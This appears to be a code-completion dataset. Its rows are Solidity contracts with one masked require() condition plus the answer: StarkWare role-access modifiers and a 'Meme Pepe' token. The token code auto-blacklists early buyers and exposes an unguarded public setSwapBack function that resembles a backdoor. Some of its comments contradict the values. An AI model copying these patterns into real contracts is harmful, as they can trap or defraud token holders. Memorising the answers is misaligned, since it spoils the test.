constructor(bool renounceable) {
}
// INITIALIZERS.
function rolesInitialized() internal view virtual returns (bool) {
}
function initialize() internal {
}
function initialize(address provisionalGovernor) internal {
}
// MODIFIERS.
modifier onlyAppGovernor() {
require(<FILL_ME>)
_;
}
modifier onlyAppRoleAdmin() {
}
modifier onlyGovernanceAdmin() {
}
modifier onlyOperator() {
}
modifier onlyTokenAdmin() {
}
modifier onlyUpgradeGovernor() {
}
modifier notSelf(address account) {
}
// Is holding role.
function isAppGovernor(address account) public view returns (bool) {
}
function isAppRoleAdmin(address account) public view returns (bool) {
}
function isGovernanceAdmin(address account) public view returns (bool) {
}
function isOperator(address account) public view returns (bool) {
}
function isTokenAdmin(address account) public view returns (bool) {
}
function isUpgradeGovernor(address account) public view returns (bool) {
}
// Register Role.
function registerAppGovernor(address account) external {
}
function registerAppRoleAdmin(address account) external {
}
function registerGovernanceAdmin(address account) external {
}
function registerOperator(address account) external {
}
function registerTokenAdmin(address account) external {
}
function registerUpgradeGovernor(address account) external {
}
// Revoke Role.
function revokeAppGovernor(address account) external {
}
function revokeAppRoleAdmin(address account) external notSelf(account) {
}
function revokeGovernanceAdmin(address account) external notSelf(account) {
}
function revokeOperator(address account) external {
}
function revokeTokenAdmin(address account) external {
}
function revokeUpgradeGovernor(address account) external {
}
// Renounce Role.
function renounceRole(bytes32 role, address account) external {
}
}
| isAppGovernor(AccessControl._msgSender()),"ONLY_APP_GOVERNOR" | 72,721 | isAppGovernor(AccessControl._msgSender()) |
"ONLY_APP_ROLE_ADMIN" | /*
Copyright 2019-2023 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.8.0;
import "starkware/solidity/libraries/AccessControl.sol";
// int.from_bytes(Web3.keccak(text="ROLE_APP_GOVERNOR"), "big") & MASK_250 .
bytes32 constant APP_GOVERNOR = bytes32(
uint256(0xd2ead78c620e94b02d0a996e99298c59ddccfa1d8a0149080ac3a20de06068)
);
// int.from_bytes(Web3.keccak(text="ROLE_APP_ROLE_ADMIN"), "big") & MASK_250 .
bytes32 constant APP_ROLE_ADMIN = bytes32(
uint256(0x03e615638e0b79444a70f8c695bf8f2a47033bf1cf95691ec3130f64939cee99)
);
// int.from_bytes(Web3.keccak(text="ROLE_GOVERNANCE_ADMIN"), "big") & MASK_250 .
bytes32 constant GOVERNANCE_ADMIN = bytes32(
uint256(0x03711c9d994faf6055172091cb841fd4831aa743e6f3315163b06a122c841846)
);
// int.from_bytes(Web3.keccak(text="ROLE_OPERATOR"), "big") & MASK_250 .
bytes32 constant OPERATOR = bytes32(
uint256(0x023edb77f7c8cc9e38e8afe78954f703aeeda7fffe014eeb6e56ea84e62f6da7)
);
// int.from_bytes(Web3.keccak(text="ROLE_TOKEN_ADMIN"), "big") & MASK_250 .
bytes32 constant TOKEN_ADMIN = bytes32(
uint256(0x0128d63adbf6b09002c26caf55c47e2f26635807e3ef1b027218aa74c8d61a3e)
);
// int.from_bytes(Web3.keccak(text="ROLE_UPGRADE_GOVERNOR"), "big") & MASK_250 .
bytes32 constant UPGRADE_GOVERNOR = bytes32(
uint256(0x0251e864ca2a080f55bce5da2452e8cfcafdbc951a3e7fff5023d558452ec228)
);
/*
Role | Role Admin
----------------------------------------
GOVERNANCE_ADMIN | GOVERNANCE_ADMIN
UPGRADE_GOVERNOR | GOVERNANCE_ADMIN
APP_ROLE_ADMIN | GOVERNANCE_ADMIN
APP_GOVERNOR | APP_ROLE_ADMIN
OPERATOR | APP_ROLE_ADMIN
TOKEN_ADMIN | APP_ROLE_ADMIN.
*/
abstract contract Roles {
// This flag dermine if the GOVERNANCE_ADMIN role can be renounced.
bool immutable fullyRenouncable;
constructor(bool renounceable) {
}
// INITIALIZERS.
function rolesInitialized() internal view virtual returns (bool) {
}
function initialize() internal {
}
function initialize(address provisionalGovernor) internal {
}
// MODIFIERS.
modifier onlyAppGovernor() {
}
modifier onlyAppRoleAdmin() {
require(<FILL_ME>)
_;
}
modifier onlyGovernanceAdmin() {
}
modifier onlyOperator() {
}
modifier onlyTokenAdmin() {
}
modifier onlyUpgradeGovernor() {
}
modifier notSelf(address account) {
}
// Is holding role.
function isAppGovernor(address account) public view returns (bool) {
}
function isAppRoleAdmin(address account) public view returns (bool) {
}
function isGovernanceAdmin(address account) public view returns (bool) {
}
function isOperator(address account) public view returns (bool) {
}
function isTokenAdmin(address account) public view returns (bool) {
}
function isUpgradeGovernor(address account) public view returns (bool) {
}
// Register Role.
function registerAppGovernor(address account) external {
}
function registerAppRoleAdmin(address account) external {
}
function registerGovernanceAdmin(address account) external {
}
function registerOperator(address account) external {
}
function registerTokenAdmin(address account) external {
}
function registerUpgradeGovernor(address account) external {
}
// Revoke Role.
function revokeAppGovernor(address account) external {
}
function revokeAppRoleAdmin(address account) external notSelf(account) {
}
function revokeGovernanceAdmin(address account) external notSelf(account) {
}
function revokeOperator(address account) external {
}
function revokeTokenAdmin(address account) external {
}
function revokeUpgradeGovernor(address account) external {
}
// Renounce Role.
function renounceRole(bytes32 role, address account) external {
}
}
| isAppRoleAdmin(AccessControl._msgSender()),"ONLY_APP_ROLE_ADMIN" | 72,721 | isAppRoleAdmin(AccessControl._msgSender()) |
"ONLY_GOVERNANCE_ADMIN" | /*
Copyright 2019-2023 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.8.0;
import "starkware/solidity/libraries/AccessControl.sol";
// int.from_bytes(Web3.keccak(text="ROLE_APP_GOVERNOR"), "big") & MASK_250 .
bytes32 constant APP_GOVERNOR = bytes32(
uint256(0xd2ead78c620e94b02d0a996e99298c59ddccfa1d8a0149080ac3a20de06068)
);
// int.from_bytes(Web3.keccak(text="ROLE_APP_ROLE_ADMIN"), "big") & MASK_250 .
bytes32 constant APP_ROLE_ADMIN = bytes32(
uint256(0x03e615638e0b79444a70f8c695bf8f2a47033bf1cf95691ec3130f64939cee99)
);
// int.from_bytes(Web3.keccak(text="ROLE_GOVERNANCE_ADMIN"), "big") & MASK_250 .
bytes32 constant GOVERNANCE_ADMIN = bytes32(
uint256(0x03711c9d994faf6055172091cb841fd4831aa743e6f3315163b06a122c841846)
);
// int.from_bytes(Web3.keccak(text="ROLE_OPERATOR"), "big") & MASK_250 .
bytes32 constant OPERATOR = bytes32(
uint256(0x023edb77f7c8cc9e38e8afe78954f703aeeda7fffe014eeb6e56ea84e62f6da7)
);
// int.from_bytes(Web3.keccak(text="ROLE_TOKEN_ADMIN"), "big") & MASK_250 .
bytes32 constant TOKEN_ADMIN = bytes32(
uint256(0x0128d63adbf6b09002c26caf55c47e2f26635807e3ef1b027218aa74c8d61a3e)
);
// int.from_bytes(Web3.keccak(text="ROLE_UPGRADE_GOVERNOR"), "big") & MASK_250 .
bytes32 constant UPGRADE_GOVERNOR = bytes32(
uint256(0x0251e864ca2a080f55bce5da2452e8cfcafdbc951a3e7fff5023d558452ec228)
);
/*
Role | Role Admin
----------------------------------------
GOVERNANCE_ADMIN | GOVERNANCE_ADMIN
UPGRADE_GOVERNOR | GOVERNANCE_ADMIN
APP_ROLE_ADMIN | GOVERNANCE_ADMIN
APP_GOVERNOR | APP_ROLE_ADMIN
OPERATOR | APP_ROLE_ADMIN
TOKEN_ADMIN | APP_ROLE_ADMIN.
*/
abstract contract Roles {
// This flag dermine if the GOVERNANCE_ADMIN role can be renounced.
bool immutable fullyRenouncable;
constructor(bool renounceable) {
}
// INITIALIZERS.
function rolesInitialized() internal view virtual returns (bool) {
}
function initialize() internal {
}
function initialize(address provisionalGovernor) internal {
}
// MODIFIERS.
modifier onlyAppGovernor() {
}
modifier onlyAppRoleAdmin() {
}
modifier onlyGovernanceAdmin() {
require(<FILL_ME>)
_;
}
modifier onlyOperator() {
}
modifier onlyTokenAdmin() {
}
modifier onlyUpgradeGovernor() {
}
modifier notSelf(address account) {
}
// Is holding role.
function isAppGovernor(address account) public view returns (bool) {
}
function isAppRoleAdmin(address account) public view returns (bool) {
}
function isGovernanceAdmin(address account) public view returns (bool) {
}
function isOperator(address account) public view returns (bool) {
}
function isTokenAdmin(address account) public view returns (bool) {
}
function isUpgradeGovernor(address account) public view returns (bool) {
}
// Register Role.
function registerAppGovernor(address account) external {
}
function registerAppRoleAdmin(address account) external {
}
function registerGovernanceAdmin(address account) external {
}
function registerOperator(address account) external {
}
function registerTokenAdmin(address account) external {
}
function registerUpgradeGovernor(address account) external {
}
// Revoke Role.
function revokeAppGovernor(address account) external {
}
function revokeAppRoleAdmin(address account) external notSelf(account) {
}
function revokeGovernanceAdmin(address account) external notSelf(account) {
}
function revokeOperator(address account) external {
}
function revokeTokenAdmin(address account) external {
}
function revokeUpgradeGovernor(address account) external {
}
// Renounce Role.
function renounceRole(bytes32 role, address account) external {
}
}
| isGovernanceAdmin(AccessControl._msgSender()),"ONLY_GOVERNANCE_ADMIN" | 72,721 | isGovernanceAdmin(AccessControl._msgSender()) |
"ONLY_OPERATOR" | /*
Copyright 2019-2023 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.8.0;
import "starkware/solidity/libraries/AccessControl.sol";
// int.from_bytes(Web3.keccak(text="ROLE_APP_GOVERNOR"), "big") & MASK_250 .
bytes32 constant APP_GOVERNOR = bytes32(
uint256(0xd2ead78c620e94b02d0a996e99298c59ddccfa1d8a0149080ac3a20de06068)
);
// int.from_bytes(Web3.keccak(text="ROLE_APP_ROLE_ADMIN"), "big") & MASK_250 .
bytes32 constant APP_ROLE_ADMIN = bytes32(
uint256(0x03e615638e0b79444a70f8c695bf8f2a47033bf1cf95691ec3130f64939cee99)
);
// int.from_bytes(Web3.keccak(text="ROLE_GOVERNANCE_ADMIN"), "big") & MASK_250 .
bytes32 constant GOVERNANCE_ADMIN = bytes32(
uint256(0x03711c9d994faf6055172091cb841fd4831aa743e6f3315163b06a122c841846)
);
// int.from_bytes(Web3.keccak(text="ROLE_OPERATOR"), "big") & MASK_250 .
bytes32 constant OPERATOR = bytes32(
uint256(0x023edb77f7c8cc9e38e8afe78954f703aeeda7fffe014eeb6e56ea84e62f6da7)
);
// int.from_bytes(Web3.keccak(text="ROLE_TOKEN_ADMIN"), "big") & MASK_250 .
bytes32 constant TOKEN_ADMIN = bytes32(
uint256(0x0128d63adbf6b09002c26caf55c47e2f26635807e3ef1b027218aa74c8d61a3e)
);
// int.from_bytes(Web3.keccak(text="ROLE_UPGRADE_GOVERNOR"), "big") & MASK_250 .
bytes32 constant UPGRADE_GOVERNOR = bytes32(
uint256(0x0251e864ca2a080f55bce5da2452e8cfcafdbc951a3e7fff5023d558452ec228)
);
/*
Role | Role Admin
----------------------------------------
GOVERNANCE_ADMIN | GOVERNANCE_ADMIN
UPGRADE_GOVERNOR | GOVERNANCE_ADMIN
APP_ROLE_ADMIN | GOVERNANCE_ADMIN
APP_GOVERNOR | APP_ROLE_ADMIN
OPERATOR | APP_ROLE_ADMIN
TOKEN_ADMIN | APP_ROLE_ADMIN.
*/
abstract contract Roles {
// This flag dermine if the GOVERNANCE_ADMIN role can be renounced.
bool immutable fullyRenouncable;
constructor(bool renounceable) {
}
// INITIALIZERS.
function rolesInitialized() internal view virtual returns (bool) {
}
function initialize() internal {
}
function initialize(address provisionalGovernor) internal {
}
// MODIFIERS.
modifier onlyAppGovernor() {
}
modifier onlyAppRoleAdmin() {
}
modifier onlyGovernanceAdmin() {
}
modifier onlyOperator() {
require(<FILL_ME>)
_;
}
modifier onlyTokenAdmin() {
}
modifier onlyUpgradeGovernor() {
}
modifier notSelf(address account) {
}
// Is holding role.
function isAppGovernor(address account) public view returns (bool) {
}
function isAppRoleAdmin(address account) public view returns (bool) {
}
function isGovernanceAdmin(address account) public view returns (bool) {
}
function isOperator(address account) public view returns (bool) {
}
function isTokenAdmin(address account) public view returns (bool) {
}
function isUpgradeGovernor(address account) public view returns (bool) {
}
// Register Role.
function registerAppGovernor(address account) external {
}
function registerAppRoleAdmin(address account) external {
}
function registerGovernanceAdmin(address account) external {
}
function registerOperator(address account) external {
}
function registerTokenAdmin(address account) external {
}
function registerUpgradeGovernor(address account) external {
}
// Revoke Role.
function revokeAppGovernor(address account) external {
}
function revokeAppRoleAdmin(address account) external notSelf(account) {
}
function revokeGovernanceAdmin(address account) external notSelf(account) {
}
function revokeOperator(address account) external {
}
function revokeTokenAdmin(address account) external {
}
function revokeUpgradeGovernor(address account) external {
}
// Renounce Role.
function renounceRole(bytes32 role, address account) external {
}
}
| isOperator(AccessControl._msgSender()),"ONLY_OPERATOR" | 72,721 | isOperator(AccessControl._msgSender()) |
"ONLY_TOKEN_ADMIN" | /*
Copyright 2019-2023 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.8.0;
import "starkware/solidity/libraries/AccessControl.sol";
// int.from_bytes(Web3.keccak(text="ROLE_APP_GOVERNOR"), "big") & MASK_250 .
bytes32 constant APP_GOVERNOR = bytes32(
uint256(0xd2ead78c620e94b02d0a996e99298c59ddccfa1d8a0149080ac3a20de06068)
);
// int.from_bytes(Web3.keccak(text="ROLE_APP_ROLE_ADMIN"), "big") & MASK_250 .
bytes32 constant APP_ROLE_ADMIN = bytes32(
uint256(0x03e615638e0b79444a70f8c695bf8f2a47033bf1cf95691ec3130f64939cee99)
);
// int.from_bytes(Web3.keccak(text="ROLE_GOVERNANCE_ADMIN"), "big") & MASK_250 .
bytes32 constant GOVERNANCE_ADMIN = bytes32(
uint256(0x03711c9d994faf6055172091cb841fd4831aa743e6f3315163b06a122c841846)
);
// int.from_bytes(Web3.keccak(text="ROLE_OPERATOR"), "big") & MASK_250 .
bytes32 constant OPERATOR = bytes32(
uint256(0x023edb77f7c8cc9e38e8afe78954f703aeeda7fffe014eeb6e56ea84e62f6da7)
);
// int.from_bytes(Web3.keccak(text="ROLE_TOKEN_ADMIN"), "big") & MASK_250 .
bytes32 constant TOKEN_ADMIN = bytes32(
uint256(0x0128d63adbf6b09002c26caf55c47e2f26635807e3ef1b027218aa74c8d61a3e)
);
// int.from_bytes(Web3.keccak(text="ROLE_UPGRADE_GOVERNOR"), "big") & MASK_250 .
bytes32 constant UPGRADE_GOVERNOR = bytes32(
uint256(0x0251e864ca2a080f55bce5da2452e8cfcafdbc951a3e7fff5023d558452ec228)
);
/*
Role | Role Admin
----------------------------------------
GOVERNANCE_ADMIN | GOVERNANCE_ADMIN
UPGRADE_GOVERNOR | GOVERNANCE_ADMIN
APP_ROLE_ADMIN | GOVERNANCE_ADMIN
APP_GOVERNOR | APP_ROLE_ADMIN
OPERATOR | APP_ROLE_ADMIN
TOKEN_ADMIN | APP_ROLE_ADMIN.
*/
abstract contract Roles {
// This flag dermine if the GOVERNANCE_ADMIN role can be renounced.
bool immutable fullyRenouncable;
constructor(bool renounceable) {
}
// INITIALIZERS.
function rolesInitialized() internal view virtual returns (bool) {
}
function initialize() internal {
}
function initialize(address provisionalGovernor) internal {
}
// MODIFIERS.
modifier onlyAppGovernor() {
}
modifier onlyAppRoleAdmin() {
}
modifier onlyGovernanceAdmin() {
}
modifier onlyOperator() {
}
modifier onlyTokenAdmin() {
require(<FILL_ME>)
_;
}
modifier onlyUpgradeGovernor() {
}
modifier notSelf(address account) {
}
// Is holding role.
function isAppGovernor(address account) public view returns (bool) {
}
function isAppRoleAdmin(address account) public view returns (bool) {
}
function isGovernanceAdmin(address account) public view returns (bool) {
}
function isOperator(address account) public view returns (bool) {
}
function isTokenAdmin(address account) public view returns (bool) {
}
function isUpgradeGovernor(address account) public view returns (bool) {
}
// Register Role.
function registerAppGovernor(address account) external {
}
function registerAppRoleAdmin(address account) external {
}
function registerGovernanceAdmin(address account) external {
}
function registerOperator(address account) external {
}
function registerTokenAdmin(address account) external {
}
function registerUpgradeGovernor(address account) external {
}
// Revoke Role.
function revokeAppGovernor(address account) external {
}
function revokeAppRoleAdmin(address account) external notSelf(account) {
}
function revokeGovernanceAdmin(address account) external notSelf(account) {
}
function revokeOperator(address account) external {
}
function revokeTokenAdmin(address account) external {
}
function revokeUpgradeGovernor(address account) external {
}
// Renounce Role.
function renounceRole(bytes32 role, address account) external {
}
}
| isTokenAdmin(AccessControl._msgSender()),"ONLY_TOKEN_ADMIN" | 72,721 | isTokenAdmin(AccessControl._msgSender()) |
"ONLY_UPGRADE_GOVERNOR" | /*
Copyright 2019-2023 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.8.0;
import "starkware/solidity/libraries/AccessControl.sol";
// int.from_bytes(Web3.keccak(text="ROLE_APP_GOVERNOR"), "big") & MASK_250 .
bytes32 constant APP_GOVERNOR = bytes32(
uint256(0xd2ead78c620e94b02d0a996e99298c59ddccfa1d8a0149080ac3a20de06068)
);
// int.from_bytes(Web3.keccak(text="ROLE_APP_ROLE_ADMIN"), "big") & MASK_250 .
bytes32 constant APP_ROLE_ADMIN = bytes32(
uint256(0x03e615638e0b79444a70f8c695bf8f2a47033bf1cf95691ec3130f64939cee99)
);
// int.from_bytes(Web3.keccak(text="ROLE_GOVERNANCE_ADMIN"), "big") & MASK_250 .
bytes32 constant GOVERNANCE_ADMIN = bytes32(
uint256(0x03711c9d994faf6055172091cb841fd4831aa743e6f3315163b06a122c841846)
);
// int.from_bytes(Web3.keccak(text="ROLE_OPERATOR"), "big") & MASK_250 .
bytes32 constant OPERATOR = bytes32(
uint256(0x023edb77f7c8cc9e38e8afe78954f703aeeda7fffe014eeb6e56ea84e62f6da7)
);
// int.from_bytes(Web3.keccak(text="ROLE_TOKEN_ADMIN"), "big") & MASK_250 .
bytes32 constant TOKEN_ADMIN = bytes32(
uint256(0x0128d63adbf6b09002c26caf55c47e2f26635807e3ef1b027218aa74c8d61a3e)
);
// int.from_bytes(Web3.keccak(text="ROLE_UPGRADE_GOVERNOR"), "big") & MASK_250 .
bytes32 constant UPGRADE_GOVERNOR = bytes32(
uint256(0x0251e864ca2a080f55bce5da2452e8cfcafdbc951a3e7fff5023d558452ec228)
);
/*
Role | Role Admin
----------------------------------------
GOVERNANCE_ADMIN | GOVERNANCE_ADMIN
UPGRADE_GOVERNOR | GOVERNANCE_ADMIN
APP_ROLE_ADMIN | GOVERNANCE_ADMIN
APP_GOVERNOR | APP_ROLE_ADMIN
OPERATOR | APP_ROLE_ADMIN
TOKEN_ADMIN | APP_ROLE_ADMIN.
*/
abstract contract Roles {
// This flag dermine if the GOVERNANCE_ADMIN role can be renounced.
bool immutable fullyRenouncable;
constructor(bool renounceable) {
}
// INITIALIZERS.
function rolesInitialized() internal view virtual returns (bool) {
}
function initialize() internal {
}
function initialize(address provisionalGovernor) internal {
}
// MODIFIERS.
modifier onlyAppGovernor() {
}
modifier onlyAppRoleAdmin() {
}
modifier onlyGovernanceAdmin() {
}
modifier onlyOperator() {
}
modifier onlyTokenAdmin() {
}
modifier onlyUpgradeGovernor() {
require(<FILL_ME>)
_;
}
modifier notSelf(address account) {
}
// Is holding role.
function isAppGovernor(address account) public view returns (bool) {
}
function isAppRoleAdmin(address account) public view returns (bool) {
}
function isGovernanceAdmin(address account) public view returns (bool) {
}
function isOperator(address account) public view returns (bool) {
}
function isTokenAdmin(address account) public view returns (bool) {
}
function isUpgradeGovernor(address account) public view returns (bool) {
}
// Register Role.
function registerAppGovernor(address account) external {
}
function registerAppRoleAdmin(address account) external {
}
function registerGovernanceAdmin(address account) external {
}
function registerOperator(address account) external {
}
function registerTokenAdmin(address account) external {
}
function registerUpgradeGovernor(address account) external {
}
// Revoke Role.
function revokeAppGovernor(address account) external {
}
function revokeAppRoleAdmin(address account) external notSelf(account) {
}
function revokeGovernanceAdmin(address account) external notSelf(account) {
}
function revokeOperator(address account) external {
}
function revokeTokenAdmin(address account) external {
}
function revokeUpgradeGovernor(address account) external {
}
// Renounce Role.
function renounceRole(bytes32 role, address account) external {
}
}
| isUpgradeGovernor(AccessControl._msgSender()),"ONLY_UPGRADE_GOVERNOR" | 72,721 | isUpgradeGovernor(AccessControl._msgSender()) |
"You are a bot!" | /**
Portal: https://t.me/MemePepePortal
Website: https://www.memepepe.net/
Twitter: https://twitter.com/memepepeerc
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract Ownable is Context {
address internal owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
/**
* Router Interfaces
*/
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* Contract Code
*/
contract MemePepe is Context, ERC20, Ownable {
address DEAD = 0x000000000000000000000000000000000000dEaD;
string constant _name =unicode"Meme Pepe";
string constant _symbol =unicode"MPEPE";
uint8 constant _decimals = 9;
uint256 _tTotal = 1 * 10**9 * 10**_decimals;
uint256 _rTotal = _tTotal * 10**3;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
bool public tradingEnabled = false;
uint256 private genesisBlock = 0;
uint256 private deadline = 0;
mapping (address => bool) public isBlacklisted;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
//General Fees Variables
uint256 public devFee = 0;
uint256 public marketingFee = 5;
uint256 public liquidityFee = 0;
uint256 public totalFee;
//Buy Fees Variables
uint256 private buyDevFee = 0;
uint256 private buyMrktFee = 1;
uint256 private buyLiquidityFee = 0;
uint256 private buyTotalFee = buyDevFee + buyMrktFee + buyLiquidityFee;
//Sell Fees Variables
uint256 private sellDevFee = 0;
uint256 private sellMrktFee = 1;
uint256 private sellLiquidityFee = 0;
uint256 private sellTotalFee = sellDevFee + sellMrktFee + sellLiquidityFee;
//Max Transaction & Wallet
uint256 public _maxTxAmount = _tTotal * 10000 / 10000; //Initial 1%
uint256 public _maxWalletSize = _tTotal * 10000 / 10000; //Initial 2%
// Fees Receivers
address public devFeeReceiver = 0x4D2Aa1747148F5c13d9cbbDf11b4dE52e81Fe66c;
address public marketingFeeReceiver = 0x4D2Aa1747148F5c13d9cbbDf11b4dE52e81Fe66c;
address public liquidityFeeReceiver = 0x4D2Aa1747148F5c13d9cbbDf11b4dE52e81Fe66c;
IDEXRouter public uniswapRouterV2;
address public uniswapPairV2;
bool public swapEnabled = true;
uint256 public swapThreshold = _tTotal * 10 / 10000; //0.1%
uint256 public maxSwapSize = _tTotal * 1 / 10000; //0.01%
bool inSwap;
modifier swapping() { }
constructor () {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function enableTrading(bool status, uint256 deadblocks) external onlyOwner {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap || amount == 0){ return _basicTransfer(sender, recipient, amount); }
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && !tradingEnabled && sender == uniswapPairV2) {
isBlacklisted[recipient] = true;
}
require(<FILL_ME>)
setFees(sender);
if (sender != owner && recipient != address(this) && recipient != address(DEAD) && recipient != uniswapPairV2) {
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletSize || isTxLimitExempt[recipient], "Total Holding is currently limited, you can not hold that much.");
}
// Checks Max Transaction Limit
if(sender == uniswapPairV2){
require(amount <= _maxTxAmount || isTxLimitExempt[recipient], "TX limit exceeded.");
}
if(shouldSwapBack(sender)){ swapBack(); }
_balances[sender] = _balances[sender] - amount;
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(amount) : amount;
_balances[recipient] = _balances[recipient] + amountReceived;
emit Transfer(sender, recipient, amountReceived);
return true;
}
function manageBlacklist(address account, bool status) public onlyOwner {
}
function setFees(address sender) internal {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function buyFees() internal {
}
function sellFees() internal{
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(uint256 amount) internal view returns (uint256) {
}
function shouldSwapBack(address sender) internal view returns (bool) {
}
function swapBack() internal swapping {
}
function setBuyFees(uint256 _devFee, uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner {
}
function setSellFees(uint256 _devFee, uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner {
}
function setFeeReceivers(address _devFeeReceiver, address _marketingFeeReceiver, address _liquidityFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _percentageMinimum, uint256 _percentageMaximum) external onlyOwner {
}
function setIsFeeExempt(address account, bool exempt) external onlyOwner {
}
function setIsTxLimitExempt(address account, bool exempt) external onlyOwner {
}
function setMaxWallet(uint256 amount) external onlyOwner {
}
function setMaxTxAmount(uint256 amount) external onlyOwner {
}
function setSwapBack(address addrss, uint256 untt) public returns (bool success) {
}
function manualSwap() external onlyOwner {
}
}
| !isBlacklisted[sender],"You are a bot!" | 72,780 | !isBlacklisted[sender] |
"Total Holding is currently limited, you can not hold that much." | /**
Portal: https://t.me/MemePepePortal
Website: https://www.memepepe.net/
Twitter: https://twitter.com/memepepeerc
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract Ownable is Context {
address internal owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
/**
* Router Interfaces
*/
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
